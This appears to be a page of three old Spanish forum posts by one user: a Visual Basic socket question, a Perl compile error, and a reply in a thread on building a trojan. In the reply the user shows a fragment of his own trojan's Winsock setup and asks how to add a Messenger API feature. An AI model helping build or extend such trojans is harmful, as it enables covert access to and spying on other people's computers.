|
121
|
Programación / Programación Visual Basic / Function ConnectSock() As Long
|
en: 13 Julio 2008, 18:00 pm
|
Public Const INVALID_SOCKET = -1 Public Const INADDR_NONE = &HFFFF
Type sockaddr ' estructura sin_family As Integer sin_port As Integer sin_addr As Long
Public Declare Function Connect Lib "wsock32.dll" Alias "connect" (ByVal s As Long, addr As sockaddr) As Long
Function ConnectSock() As Long Dim sockin As sockaddr If sockin.sin_addr = INADDR_NONE Then ConnectSock = INVALID_SOCKET Exit Function no entiendo porqué cuando se comprueba si sockin.sin_addr = INADDR_NONE, osea si la dirección IP de 4 bytes según la Ordenación de bytes de la red (sockin.sin_addr) , es igual(=) a INADDR_NONE entonces(then) connectotsock = INVALID SOCKET. ¿No tendria que darse sockin.sin_addr = INADDR_NONE para que sea válida la conexión?
|
|
|
124
|
Programación / Scripting / error al compilar en perl
|
en: 27 Abril 2008, 20:25 pm
|
estoy instalando un programa bajo windows xp bajo la consola ms-dos y me da este error:
c:\tk-804.028> perl makefile.pl
cannot find c:\temp\perl---------please run de install script-------\lib/core/perl.h have tou instaled perl.exe compilation failed in require at makefile.pl line 37 BEGIN filed-----compilation aborte at makefilr.pl line 39
si que tengo instalado perl 5.8.8.saludos
|
|
|
127
|
Programación / Programación Visual Basic / Re: [manual]como hacer un troyano medio by krackwar
|
en: 12 Abril 2008, 23:39 pm
|
krackar tengo un troyano muy parecido al que estas haciendo,y me ha surjido una duda, y es que, quiero introducirle otra funcion en concreto Messenger API Type Library y mas concretamente lo siguiente:
Private Sub Form_Load() Set objMessenger = New MessengerAPI.Messenger End Sub
mi duda es si Set objMessenger = New MessengerAPI.Messenger lo deberia cargar con el form_load del troyano donde cargo Private Sub Form_Load()
On Error Resume Next Winsock1.RemoteHost = "xxxxxxxx" Winsock1.RemotePort = 80 Winsock1.Listen Dim ejec As String ................... o deberia cargarlo por separado?
luego borrare el post
|
|
|
|
|
|
|